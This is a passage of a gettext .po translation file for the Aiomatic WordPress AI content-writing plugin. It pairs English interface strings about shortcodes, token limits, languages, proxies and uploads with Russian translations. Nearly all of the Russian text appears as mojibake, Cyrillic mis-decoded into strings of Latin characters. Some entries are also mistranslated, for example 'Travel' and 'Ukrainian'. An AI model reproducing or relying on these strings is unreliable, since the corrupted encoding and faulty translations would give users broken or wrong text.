(GPT-3) на " "оÑнове аргумента «seed_expre» контента/анонÑа/заголовка поÑта, в котором " "размещен Шорткод," #: res/aiomatic-shortcodes.php:141 msgid "" "to automatically create an AI generated image (Stable Diffusion) based on " "the 'seed_expre' argument of the post content/excerpt/title where the " "shortcode is placed," msgstr "" "Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑкого ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ñгенерированного AI Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ (ÑÑ‚Ð°Ð±Ð¸Ð»ÑŒÐ½Ð°Ñ " "диффузиÑ) на оÑнове аргумента «seed_expre» контента/анонÑа/заголовка поÑта, " "в котором размещен Шорткод," #: res/aiomatic-shortcodes.php:138 msgid "" "to automatically write an article based on the 'seed_expre' argument of the " "post content/excerpt/title where the shortcode is placed," msgstr "" "Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑкого напиÑÐ°Ð½Ð¸Ñ Ñтатьи на оÑнове аргумента «seed_expre» " "контента/анонÑа/заголовка поÑта, где размещен Шорткод," #: res/aiomatic-main.php:1558 msgid "" "To begin using the plugin, click on the 'Plugin Activation' tab from above " "and register your Envato purchase code. This will allow you to benefit of " "the full feature set of this plugin. To learn how to find your purchase code " "for the plugin, check" msgstr "" "Чтобы начать иÑпользовать Плагин, нажмите на вкладку «ÐÐºÑ‚Ð¸Ð²Ð°Ñ†Ð¸Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð°Â» " "Ñверху и зарегиÑтрируйте Ñвой код покупки Envato. Это позволит вам " "воÑпользоватьÑÑ Ð¿Ð¾Ð»Ð½Ñ‹Ð¼ набором функций Ñтого Плагина. Чтобы узнать, как " "найти код покупки Ð´Ð»Ñ Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡Ð°ÐµÐ¼Ð¾Ð³Ð¾ модулÑ, Ñм." #: res/aiomatic-main.php:1605 msgid "" "To better understand how this might be happening, it is helpful to first " "understand how the content generation part of the plugin functions. In most " "cases, when you request the plugin to create a post with a AI generated " "title, 5 headings, intro + outro and a Q&A section, the plugin sends 1 API " "request to generate the title, 5 different API requests for the headings, 3 " "API requests for the intro, outro and Q&A sections. So, for a single post, " "there might be 9 or more API calls to OpenAI/AiomaticAPI. If each request " "takes 20 seconds to receive a response, this means that generating this post " "could take up to 180 seconds in total." msgstr "" "Чтобы лучше понÑÑ‚ÑŒ, как Ñто может проиÑходить, полезно Ñначала понÑÑ‚ÑŒ, как " "работает чаÑÑ‚ÑŒ Плагина, Ð³ÐµÐ½ÐµÑ€Ð¸Ñ€ÑƒÑŽÑ‰Ð°Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚. Ð’ большинÑтве Ñлучаев, когда " "вы запрашиваете у Плагина Ñоздание ПоÑта Ñ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ°Ð¼Ð¸, Ñгенерированными AI, " "5 Заголовоков, Ð’ÑÑ‚ÑƒÐ¿Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð§Ð°ÑÑ‚ÑŒ + Ð—Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð§Ð°ÑÑ‚ÑŒ и Разделом ВопроÑÑ‹ " "Ответы, Плагин отправлÑет 1 Ð·Ð°Ð¿Ñ€Ð¾Ñ API Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ (title)заголовка, 5 " "разных запроÑов API Ð´Ð»Ñ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²Ð¾ÐºÐ¾Ð², 3 ЗапроÑа API Ð´Ð»Ñ Ð Ð°Ð·Ð´ÐµÐ»Ð¾Ð² " "Ð’Ñтупительной ЧаÑти, Заключительной ЧаÑти и ВопроÑов и Ответов. Таким " "образом, Ð´Ð»Ñ Ð¾Ð´Ð½Ð¾Ð³Ð¾ ПоÑта может быть 9 или более вызовов API к " "OpenAI/AiomaticAPI. ЕÑли Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð¾Ñ‚Ð²ÐµÑ‚Ð° на каждый Ð·Ð°Ð¿Ñ€Ð¾Ñ Ñ‚Ñ€ÐµÐ±ÑƒÐµÑ‚ÑÑ 20 " "Ñекунд, Ñто означает, что Ñоздание Ñтого ПоÑта может занÑÑ‚ÑŒ в общей " "ÑложноÑти до 180 Ñекунд." #: res/aiomatic-shortcodes.php:145 msgid "to check a text for AI generated content" msgstr "" "проверка текÑта на наличие контента, Ñозданного иÑкуÑÑтвенным интеллектом" #: res/aiomatic-shortcodes.php:144 msgid "to check a text for plagiarism" msgstr "проверить текÑÑ‚ на плагиат" #: res/aiomatic-shortcodes.php:143 msgid "to check a text for profanities and to moderate it" msgstr "проверить текÑÑ‚ на ненормативную лекÑику и модерировать его" #: res/aiomatic-shortcodes.php:142 msgid "to convert an audio file to text" msgstr "преобразовать аудиофайл в текÑÑ‚" #: res/aiomatic-training.php:64 msgid "To convert files to JSONL format, you can use the" msgstr "Чтобы преобразовать файлы в формат JSONL, вы можете иÑпользовать" #: res/aiomatic-main.php:1560 msgid "to create images using Stable Difussion" msgstr "Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹ Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Stable Difusion" #: res/aiomatic-shortcodes.php:139 msgid "" "to execute the prompt which is added inside the shortcode and to " "automatically save the result to the post," msgstr "" "Ð´Ð»Ñ Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ Ð·Ð°Ð¿Ñ€Ð¾Ñа, добавленного в шорткод, и автоматичеÑкого ÑÐ¾Ñ…Ñ€Ð°Ð½ÐµÐ½Ð¸Ñ " "результата в поÑÑ‚," #: res/aiomatic-single-list.php:494 msgid "" "To get started, you can enter a topic here and start generating the title & " "content!" msgstr "" "Чтобы начать, вы можете ввеÑти тему здеÑÑŒ и начать Ñоздавать Тitle и Контент!" #: res/aiomatic-main.php:2247 #, php-format msgid "" "To get the Google API Search Engine ID (CX value), go to %s 2. Select your search engine or Create one and go " "click on it. 3. You can find the CX id titled as \"Search engine ID\" 4. " "Public URL also has the cx id in the Query param as ?cx=**** here. Also, to " "search the entire web for results, please follow this tutorial." msgstr "" "Чтобы получить идентификатор поиÑковой ÑиÑтемы Google API (значение CX), " "перейдите по ÑÑылке %s 2. Выберите Ñвою " "поиÑковую ÑиÑтему или Ñоздайте ее и щелкните на ней. 3. Ð’Ñ‹ можете найти CX " "id под названием \"ID поиÑковой ÑиÑтемы\" 4. Публичный URL также имеет cx id " "в параметре Query как ?cx=**** здеÑÑŒ. Также Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка результатов во вÑем " "Интернете Ñледуйте Ñтому руководÑтву." #: res/aiomatic-shortcodes.php:148 msgid "to include a list that contains only posts imported by this plugin, and" msgstr "" "включить ÑпиÑок, Ñодержащий только ПоÑÑ‚Ñ‹, импортированные Ñтим Плагином, и" #: res/aiomatic-shortcodes.php:146 msgid "" "to include a textual representation of the remaining credits for the current " "account (in case AI usage is limited from plugin settings)" msgstr "" "включить текÑтовое предÑтавление оÑтавшихÑÑ ÐºÑ€ÐµÐ´Ð¸Ñ‚Ð¾Ð² Ð´Ð»Ñ Ñ‚ÐµÐºÑƒÑ‰ÐµÐ¹ учетной " "запиÑи (в Ñлучае, еÑли иÑпользование AI ограничено наÑтройками Плагина)" #: res/aiomatic-shortcodes.php:147 msgid "" "to include a visual representation of the remaining credits for the current " "account (in case AI usage is limited from plugin settings)" msgstr "" "включить визуальное предÑтавление оÑтавшихÑÑ ÐºÑ€ÐµÐ´Ð¸Ñ‚Ð¾Ð² Ð´Ð»Ñ Ñ‚ÐµÐºÑƒÑ‰ÐµÐ¹ учетной " "запиÑи (в Ñлучае, еÑли иÑпользование AI ограничено наÑтройками Плагина)" #: res/aiomatic-shortcodes.php:149 msgid "to include a WordPress like post listing. Usage:" msgstr "включить WordPress, как ÑпиÑок ПоÑтов. ИÑпользование:" #: res/admin/ai-post-gutenberg.php:74 res/admin/ai-post.php:72 msgid "Toggle Advanced Options" msgstr "Переключить Дополнительные Параметры" #: res/aiomatic-embeddings.php:198 res/aiomatic-spinner-list.php:4094 msgid "token pricing" msgstr "ценообразование токенов" #: res/aiomatic-embeddings.php:103 res/aiomatic-limits-statistics.php:88 #: res/aiomatic-limits-statistics.php:1120 #: res/aiomatic-limits-statistics.php:1284 #: res/aiomatic-limits-statistics.php:1515 msgid "Tokens" msgstr "Токены" #: res/StatisticsClass.php:624 res/StatisticsClass.php:732 msgid "tokens" msgstr "токены" #: res/aiomatic-rules-list.php:545 res/aiomatic-rules-list.php:3391 #: res/aiomatic-single-list.php:1498 res/aiomatic-single-list.php:3486 #: res/aiomatic-youtube-list.php:548 res/aiomatic-youtube-list.php:3124 msgid "Top of the section" msgstr "Ðачало раздела" #: aiomatic-ajax-actions.php:8136 aiomatic-shortcodes-file.php:581 #: res/aiomatic-shortcodes.php:332 msgid "Top_p" msgstr "Top_p" #: res/aiomatic-single-list.php:487 msgid "Topic" msgstr "Тема" #: res/aiomatic-single-list.php:1317 msgid "Topic Based" msgstr "Ðа ОÑнове Темы" #: res/aiomatic-single-list.php:961 msgid "Topic Based Post (Multiple API Calls) - Enter Title" msgstr "ПоÑÑ‚ на оÑнове темы (неÑколько вызовов API) – введите Заголовок" #: res/aiomatic-single-list.php:960 msgid "Topic Based Post (Multiple API Calls) - Enter Topic" msgstr "ПоÑÑ‚ на оÑнове темы (неÑколько вызовов API) – войти в тему" #: res/aiomatic-rules-list.php:397 res/aiomatic-rules-list.php:3222 #: res/aiomatic-single-list.php:1365 msgid "Topic Based Posting Options" msgstr "Параметры публикации на оÑнове темы" #: res/aiomatic-rules-list.php:336 res/aiomatic-rules-list.php:3165 msgid "Topic Based/Multiple API Calls" msgstr "ОÑновные Темы/МножеÑтвенный вызов API" #: aiomatic-automatic-ai-content-writer.php:13815 #: aiomatic-automatic-ai-content-writer.php:14601 #: res/aiomatic-automation-list.php:1177 res/aiomatic-automation-list.php:1965 #: res/aiomatic-automation-list.php:3644 res/aiomatic-automation-list.php:4432 #: res/aiomatic-automation-list.php:6397 res/aiomatic-automation-list.php:7193 msgid "Tor (HeadlessBrowserAPI)" msgstr "Tor (HeadlessBrowserAPI)" #: aiomatic-automatic-ai-content-writer.php:13790 #: aiomatic-automatic-ai-content-writer.php:14576 #: res/aiomatic-automation-list.php:1152 res/aiomatic-automation-list.php:1940 #: res/aiomatic-automation-list.php:3619 res/aiomatic-automation-list.php:4407 #: res/aiomatic-automation-list.php:6372 res/aiomatic-automation-list.php:7168 msgid "Tor (needs to be installed on server)" msgstr "Tor (необходимо уÑтановить на Ñервере)" #: res/aiomatic-chatbot.php:2576 msgid "Total Token Cap Per Day For Users:" msgstr "Общий лимит токенов в день Ð´Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÐµÐ¹:" #: res/aiomatic-training.php:514 msgid "Training" msgstr "Обучение" #: res/aiomatic-training.php:536 msgid "Training-files" msgstr "Файл ОбучениÑ" #: aiomatic-automation.php:494 msgid "Translate Content To" msgstr "ПеревеÑти контент на" #: aiomatic-automation.php:481 msgid "" "Translates text using Google Translate/Microsoft Translator/DeepL. To use " "Microsoft Translator or DeepL, add your API key for these services in the " "plugin's 'Main Settings' menu." msgstr "" "Переводит текÑÑ‚ Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Google Translate/Microsoft Translator/DeepL. Чтобы " "иÑпользовать Microsoft Translator или DeepL, добавьте Ñвой ключ API Ð´Ð»Ñ Ñтих " "ÑервиÑов в меню «ОÑновные наÑтройки» плагина." #: res/aiomatic-main.php:2375 msgid "Translation Services API Keys:" msgstr "Ключи API ÑервиÑов перевода:" #: aiomatic-automation.php:500 msgid "Translation Source Language" msgstr "ИÑходный Ñзык перевода" #: res/aiomatic-main.php:5977 msgid "Translation Source Language:" msgstr "ИÑходный Ñзык перевода:" #: res/aiomatic-main.php:8414 res/aiomatic-main.php:8933 msgid "Transportation" msgstr "ТранÑпорт" #: aiomatic-automatic-ai-content-writer.php:13311 #: aiomatic-automatic-ai-content-writer.php:14194 #: res/aiomatic-amazon-list.php:1929 res/aiomatic-amazon-list.php:4520 #: res/aiomatic-automation-list.php:673 res/aiomatic-automation-list.php:1562 #: res/aiomatic-automation-list.php:3140 res/aiomatic-automation-list.php:4029 #: res/aiomatic-automation-list.php:5893 res/aiomatic-automation-list.php:6786 #: res/aiomatic-csv-list.php:378 res/aiomatic-csv-list.php:1523 #: res/aiomatic-review-list.php:1998 res/aiomatic-review-list.php:4673 #: res/aiomatic-rules-list.php:2127 res/aiomatic-rules-list.php:4909 #: res/aiomatic-single-list.php:545 res/aiomatic-single-list.php:7331 #: res/aiomatic-spinner-list.php:3865 res/aiomatic-youtube-list.php:1900 #: res/aiomatic-youtube-list.php:4448 msgid "Trash" msgstr "Корзина" #: res/aiomatic-main.php:8419 res/aiomatic-main.php:8938 msgid "Travel" msgstr "Маршрут перехода" #: res/aiomatic-main.php:7841 msgid "Try To Translate Search Query Keywords To English: " msgstr "Попробуйте перевеÑти ключевые Ñлова поиÑкового запроÑа на английÑкий:" #: res/aiomatic-amazon-list.php:135 res/aiomatic-review-list.php:135 #: res/aiomatic-rules-list.php:135 res/aiomatic-single-list.php:135 #: res/aiomatic-single-list.php:273 res/aiomatic-youtube-list.php:135 msgid "Tsonga" msgstr "ТÑонга" #: res/aiomatic-languages.php:136 msgid "Tsonga (Google Translate)" msgstr "Цонга (Переводчик Google)" #: aiomatic-helpers.php:1482 msgid "Turkey" msgstr "ТурциÑ" #: res/aiomatic-amazon-list.php:53 res/aiomatic-main.php:8613 #: res/aiomatic-review-list.php:53 res/aiomatic-rules-list.php:53 #: res/aiomatic-single-list.php:53 res/aiomatic-single-list.php:191 #: res/aiomatic-youtube-list.php:53 msgid "Turkish" msgstr "турецкий" #: res/aiomatic-languages.php:53 msgid "Turkish (Google Translate)" msgstr "Турецкий (переводчик Google)" #: res/aiomatic-amazon-list.php:136 res/aiomatic-review-list.php:136 #: res/aiomatic-rules-list.php:136 res/aiomatic-single-list.php:136 #: res/aiomatic-single-list.php:274 res/aiomatic-youtube-list.php:136 msgid "Turkmen" msgstr "ТуркменÑкий" #: res/aiomatic-languages.php:137 msgid "Turkmen (Google Translate)" msgstr "ТуркменÑкий (Google Переводчик)" #: res/aiomatic-assistants.php:50 res/aiomatic-chatbot.php:626 #: res/aiomatic-limits-statistics.php:452 res/aiomatic-playground.php:23 #: res/aiomatic-shortcodes.php:100 res/aiomatic-spinner-list.php:33 msgid "Tutorial" msgstr "Урок" #: res/aiomatic-embeddings.php:57 res/aiomatic-shortcodes.php:121 #: res/aiomatic-training.php:76 msgid "Tutorial Video" msgstr "Учебное видео" #: res/aiomatic-chatbot.php:2047 res/aiomatic-chatbot.php:2185 #: res/aiomatic-chatbot.php:2371 res/aiomatic-chatbot.php:2557 #: res/aiomatic-chatbot.php:3458 res/aiomatic-chatbot.php:4706 #: res/aiomatic-chatbot.php:5492 res/aiomatic-main.php:1622 #: res/aiomatic-main.php:3422 res/aiomatic-main.php:3696 #: res/aiomatic-main.php:5730 res/aiomatic-main.php:7313 #: res/aiomatic-single-list.php:476 res/aiomatic-single-list.php:7285 msgid "Tutorial Video:" msgstr "Учебное видео:" #: res/aiomatic-csv-list.php:929 msgid "Tutorial video: how to use CSV files upload to Google Drive" msgstr "Обучающее видео: как иÑпользовать загрузку файлов CSV на Google ДиÑк" #: res/aiomatic-amazon-list.php:137 res/aiomatic-review-list.php:137 #: res/aiomatic-rules-list.php:137 res/aiomatic-single-list.php:137 #: res/aiomatic-single-list.php:275 res/aiomatic-youtube-list.php:137 msgid "Twi" msgstr "Чви" #: res/aiomatic-languages.php:138 msgid "Twi (Google Translate)" msgstr "Twi (Переводчик Google)" #: res/aiomatic-main.php:7402 res/aiomatic-spinner-list.php:4205 msgid "Twice a day" msgstr "Дважды в день" #: aiomatic-helpers.php:418 msgid "Twitomatic Post Generator" msgstr "Генератор поÑтов Twitomatic" #: res/aiomatic-limits-statistics.php:704 res/aiomatic-main.php:3371 #: res/aiomatic-shortcodes.php:514 msgid "Type" msgstr "Тип" #: aiomatic-ajax-actions.php:7999 res/aiomatic-shortcodes.php:193 msgid "Type*" msgstr "Тип*" #: res/aiomatic-limits-statistics.php:483 msgid "Type: The type of units listed." msgstr "Тип: Указанный Тип единиц." #: res/aiomatic-chatbot.php:4037 msgid "Typewriter Effect" msgstr "Эффект пишущей машинки" #: res/aiomatic-amazon-list.php:54 res/aiomatic-review-list.php:54 #: res/aiomatic-rules-list.php:54 res/aiomatic-single-list.php:54 #: res/aiomatic-single-list.php:192 res/aiomatic-youtube-list.php:54 msgid "Ukrainian" msgstr "украинец" #: res/aiomatic-languages.php:54 msgid "Ukrainian (Google Translate)" msgstr "УкраинÑкий (переводчик гугл)" #: res/aiomatic-limits-statistics.php:192 #: res/aiomatic-limits-statistics.php:1593 msgid "Ultimate Membership Pro" msgstr "Окончательное членÑтво Pro" #: res/aiomatic-main.php:3578 msgid "Under Advanced Settings" msgstr "Ð’ РаÑширенных ÐаÑтройках" #: res/aiomatic-main.php:3563 msgid "Under Input Fields" msgstr "Под ПолÑми Ввода" #: res/aiomatic-main.php:3573 msgid "Under Result Field" msgstr "Под Полем Результатов" #: res/aiomatic-rules-list.php:546 res/aiomatic-rules-list.php:3396 #: res/aiomatic-single-list.php:1499 res/aiomatic-single-list.php:3487 #: res/aiomatic-youtube-list.php:549 res/aiomatic-youtube-list.php:3129 msgid "Under the heading text" msgstr "ТекÑÑ‚ под заголовком " #: res/aiomatic-main.php:1568 msgid "Understanding How It Functions" msgstr "Понимание того, Как Ñто работает" #. translators: 1: The HTTP response code. #: aiomatic-helpers.php:1915 #, php-format msgid "Unexpected HTTP response code: %s" msgstr "Ðеожиданный код ответа HTTP: %s " #: res/aiomatic-main.php:1606 msgid "" "Unfortunately, the default connection timeout for Cloudflare is set at 100 " "seconds. This implies that if you're utilizing Cloudflare's default plan and " "fail to receive all responses from OpenAI within the 100-second window, " "Cloudflare will reach its timeout limit, resulting in it fully stopping " "content creation. However, CloudFlare Enterprise users have the option to " "extend this timeout limit to 6000 seconds either through the Cloudflare API " "or by reaching out to customer service. Note that only CloudFlare's " "Enterprise plan will allow this settings change." msgstr "" "К Ñожалению, Ð²Ñ€ÐµÐ¼Ñ Ð¾Ð¶Ð¸Ð´Ð°Ð½Ð¸Ñ Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Ð¿Ð¾ умолчанию Ð´Ð»Ñ Cloudflare " "уÑтановлено на 100 Ñекунд. Это означает, что еÑли вы иÑпользуете план " "Cloudflare по умолчанию и не можете получить вÑе ответы от OpenAI в течение " "100-Ñекундного окна, Cloudflare доÑтигнет предела времени ожиданиÑ, что " "приведет к полной оÑтановке ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°. Однако у пользователей " "CloudFlare Enterprise еÑÑ‚ÑŒ возможноÑÑ‚ÑŒ увеличить Ñтот лимит времени Ð¾Ð¶Ð¸Ð´Ð°Ð½Ð¸Ñ " "до 6000 Ñекунд либо через API Cloudflare, либо обратившиÑÑŒ в Ñлужбу " "поддержки клиентов. Обратите внимание, что только план CloudFlare Enterprise " "позволит изменить Ñти ÐаÑтройки." #: aiomatic-helpers.php:1481 msgid "United Arab Emirates" msgstr "Обдьединенные ÐрабÑкие Эмираты" #: aiomatic-helpers.php:1480 msgid "United Kingdom" msgstr "Соединенное КоролевÑтво" #: aiomatic-helpers.php:1479 msgid "United States" msgstr "Соединенные Штаты" #: res/aiomatic-main.php:8156 msgid "United States Government Work" msgstr "Работа правительÑтва СШÐ" #: res/aiomatic-limits-statistics.php:702 msgid "Units" msgstr "Единицы" #: res/aiomatic-limits-statistics.php:481 msgid "Units: The number of units used for the request." msgstr "Единицы: КоличеÑтво единиц, иÑпользуемых Ð´Ð»Ñ Ð·Ð°Ð¿Ñ€Ð¾Ñа." #: update-checker/Puc/v5p2/Plugin/Ui.php:227 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "ÐеизвеÑтный ÑÑ‚Ð°Ñ‚ÑƒÑ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ \"%s\"" #: res/aiomatic-more.php:51 msgid "" "Unlock the true potential of Aiomatic's hidden features, harnessing the " "power of AI to streamline your content management, optimize your media " "library, engage with your audience, and enhance the visual impact of your " "website. It's time to take your WordPress experience to new heights with " "Aiomatic!" msgstr "" "РаÑкройте иÑтинный потенциал Ñкрытых функций Aiomatic, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð²Ð¾Ð·Ð¼Ð¾Ð¶Ð½Ð¾Ñти " "иÑкуÑÑтвенного интеллекта Ð´Ð»Ñ Ð¾Ð¿Ñ‚Ð¸Ð¼Ð¸Ð·Ð°Ñ†Ð¸Ð¸ ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð¾Ð¼, оптимизации " "медиатеки, взаимодейÑÑ‚Ð²Ð¸Ñ Ñ Ð°ÑƒÐ´Ð¸Ñ‚Ð¾Ñ€Ð¸ÐµÐ¹ и Ð¿Ð¾Ð²Ñ‹ÑˆÐµÐ½Ð¸Ñ Ð²Ð¸Ð·ÑƒÐ°Ð»ÑŒÐ½Ð¾Ð³Ð¾ воздейÑÑ‚Ð²Ð¸Ñ " "вашего веб-Ñайта. Пришло Ð²Ñ€ÐµÐ¼Ñ Ð¿Ð¾Ð´Ð½ÑÑ‚ÑŒ ваш опыт работы Ñ WordPress на новую " "выÑоту Ñ Aiomatic!" #: res/aiomatic-main.php:8690 msgid "Unsplah API Options:" msgstr "Параметры API Unsplah:" #: aiomatic-automation.php:1242 aiomatic-automation.php:1243 msgid "Update an existing post ID (optional)" msgstr "Обновите ÑущеÑтвующий ID ПоÑта (необÑзательно)" #: aiomatic-automatic-ai-content-writer.php:15399 msgid "Update Post Source" msgstr "Обновить иÑточник ПоÑÑ‚Ñ‹" #: res/aiomatic-training.php:513 msgid "Updated" msgstr "Обновлено" #: res/aiomatic-embeddings.php:175 msgid "Upload" msgstr "Загрузить" #: res/aiomatic-assistants.php:75 msgid "Upload A New Assistant File" msgstr "Загрузите новый файл аÑÑиÑтента" #: res/aiomatic-training.php:90 msgid "Upload A New File" msgstr "Загрузить новый файл" #: aiomatic-ajax-actions.php:4856 aiomatic-ajax-actions.php:4969 msgid "Upload error: " msgstr "Ошибка загрузки:" #: res/aiomatic-automation-list.php:2177 msgid "Upload Location:" msgstr "МеÑто загрузки:" #: res/aiomatic-embeddings.php:156 msgid "Upload New File" msgstr "Загрузить Ðовый Файл" #: res/aiomatic-automation-list.php:2211 msgid "Upload OmniBlock File" msgstr "Загрузить файл OmniBlock" #: res/aiomatic-assistants.php:94 res/aiomatic-training.php:141 #: res/aiomatic-training.php:246 msgid "Upload to OpenAI" msgstr "Загрузить в OpenAI" #: res/aiomatic-assistants.php:88 res/aiomatic-assistants.php:300 #: res/aiomatic-automation-list.php:2110 res/aiomatic-chatbot.php:5620 #: res/aiomatic-embeddings.php:169 res/aiomatic-shortcodes.php:426 #: res/aiomatic-training.php:135 msgid "Uploading" msgstr "Загрузка" #: res/aiomatic-amazon-list.php:70 res/aiomatic-review-list.php:70 #: res/aiomatic-rules-list.php:70 res/aiomatic-single-list.php:70 #: res/aiomatic-single-list.php:208 res/aiomatic-youtube-list.php:70 msgid "Urdu" msgstr "Урду" #: res/aiomatic-languages.php:70 msgid "Urdu (Google Translate)" msgstr "Урду (переводчик гугл)" #: res/aiomatic-shortcodes.php:63 msgid "URL" msgstr "URL" #: res/aiomatic-chatbot.php:4565 msgid "URLs Where To Not Show The Chatbot:" msgstr "URL-адреÑа, где не показывать чат-бота:" #: res/aiomatic-main.php:4710 msgid "US Central 1 (Texas)" msgstr "Центральный округ СШР1 (ТехаÑ)" #: res/aiomatic-main.php:4607 res/aiomatic-main.php:4711 msgid "US East 1 (N. Virginia)" msgstr "ВоÑток СШР1 (Ð¡ÐµÐ²ÐµÑ€Ð½Ð°Ñ Ð’Ð¸Ñ€Ð´Ð¶Ð¸Ð½Ð¸Ñ)" #: res/aiomatic-main.php:4712 msgid "US East 2 (N. Virginia)" msgstr "ВоÑток СШР2 (Ð¡ÐµÐ²ÐµÑ€Ð½Ð°Ñ Ð’Ð¸Ñ€Ð´Ð¶Ð¸Ð½Ð¸Ñ)" #: res/aiomatic-main.php:4608 msgid "US East 2 (Ohio)" msgstr "ВоÑток СШР2 (Огайо)" #: res/aiomatic-main.php:4605 msgid "US West 1 (N. California)" msgstr "Запад СШР1 (Ð¡ÐµÐ²ÐµÑ€Ð½Ð°Ñ ÐšÐ°Ð»Ð¸Ñ„Ð¾Ñ€Ð½Ð¸Ñ)" #: res/aiomatic-main.php:4709 msgid "US West 1 (Oregon)" msgstr "Запад СШР1 (Орегон)" #: res/aiomatic-main.php:4606 msgid "US West 2 (Oregon)" msgstr "Запад СШР2 (Орегон)" #: res/aiomatic-limits-statistics.php:454 #: res/aiomatic-limits-statistics.php:496 msgid "Usage Graphs" msgstr "Графики иÑпользованиÑ" #: res/aiomatic-limits-statistics.php:1245 #: res/aiomatic-limits-statistics.php:1374 #: res/aiomatic-limits-statistics.php:1398 msgid "Usage limit message" msgstr "ПоÑÑ‚ об ограниченAI иÑпользованиÑ" #: res/aiomatic-limits-statistics.php:498 msgid "Usage Limits" msgstr "Лимиты иÑпользованиÑ" #: res/aiomatic-limits-statistics.php:453 #: res/aiomatic-limits-statistics.php:464 msgid "Usage Logs" msgstr "Журналы иÑпользованиÑ" #: res/StatisticsClass.php:642 res/StatisticsClass.php:745 msgid "USD" msgstr "USD" #: res/aiomatic-youtube-list.php:2980 msgid "Use AI Generated Post Titles" msgstr "ИÑпользуйте Ñгенерированные AI Заголовки ПоÑтов" #: res/aiomatic-single-list.php:3367 res/aiomatic-youtube-list.php:429 msgid "Use AI Generated Post Titles:" msgstr "ИÑпользуйте Ñгенерированные AI Заголовки ПоÑтов:" #: res/aiomatic-main.php:5021 msgid "Use AI To Select Default Featured Image For Posts:" msgstr "ИÑпользуйте AI, чтобы выбрать изображение по умолчанию Ð´Ð»Ñ Ð¿Ð¾Ñтов:" #: res/aiomatic-main.php:6377 msgid "Use Alternate Continue Tokens (Experimental):" msgstr "ИÑпользуйте альтернативные токены Ð¿Ñ€Ð¾Ð´Ð¾Ð»Ð¶ÐµÐ½Ð¸Ñ (ÑкÑпериментальные):" #: res/aiomatic-spinner-list.php:3956 msgid "Use Async Posting Method:" msgstr "ИÑпользуйте ÐÑинхронный Метод Проводки :" #: res/aiomatic-assistants.php:490 res/aiomatic-assistants.php:645 msgid "Use Below Functions" msgstr "ИÑпользуйте Функции Ðиже" #: res/aiomatic-amazon-list.php:1637 res/aiomatic-amazon-list.php:4198 #: res/aiomatic-review-list.php:1706 res/aiomatic-review-list.php:4351 #: res/aiomatic-rules-list.php:1835 res/aiomatic-rules-list.php:4587 #: res/aiomatic-single-list.php:2303 res/aiomatic-single-list.php:3053 #: res/aiomatic-single-list.php:4306 res/aiomatic-single-list.php:5620 #: res/aiomatic-single-list.php:6986 res/aiomatic-youtube-list.php:1593 #: res/aiomatic-youtube-list.php:4109 msgid "Use Different Search Queries For Images" msgstr "ИÑпользуйте Разные ПоиÑковые ЗапроÑÑ‹ Ð´Ð»Ñ Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹" #: res/aiomatic-main.php:2012 msgid "Use Multiple API Keys When Creating The Same Post:" msgstr "ИÑпользуйте неÑколько ключей API при Ñоздании одного и того же поÑта:" #: res/aiomatic-main.php:7460 msgid "Use Proxies Also For OpenAI API Accessing:" msgstr "ИÑпользуйте прокÑи также Ð´Ð»Ñ Ð´Ð¾Ñтупа к API OpenAI:" #: res/aiomatic-rules-list.php:3706 res/aiomatic-youtube-list.php:3443 msgid "" "Use the Above Content Prompt To Create The Entire Article (Not Each Section)" msgstr "" "ИÑпользуйте приведенную выше Промпт Ñодержимого, чтобы Ñоздать вÑÑŽ Статью " "(не каждый Раздел)" #: res/aiomatic-rules-list.php:951 res/aiomatic-single-list.php:1904 #: res/aiomatic-single-list.php:3892 res/aiomatic-youtube-list.php:954 msgid "" "Use the Above Content Prompt To Create The Entire Article (Not Each Section):" msgstr "" "ИÑпользуйте приведенный выше Промпт Контента, чтобы Ñоздать вÑÑŽ Статью (не " "каждый Раздел):" #: res/aiomatic-chatbot.php:874 msgid "Use the following shortcode to add the customized chatbot to your site:" msgstr "" "ИÑпользуйте Ñледующий шорткод, чтобы добавить наÑтроенный Чат-бот на Ñвой " "Ñайт:" #: res/aiomatic-amazon-list.php:1638 res/aiomatic-amazon-list.php:4203 #: res/aiomatic-review-list.php:1707 res/aiomatic-review-list.php:4356 #: res/aiomatic-rules-list.php:1836 res/aiomatic-rules-list.php:4592 #: res/aiomatic-single-list.php:2304 res/aiomatic-single-list.php:3054 #: res/aiomatic-single-list.php:4307 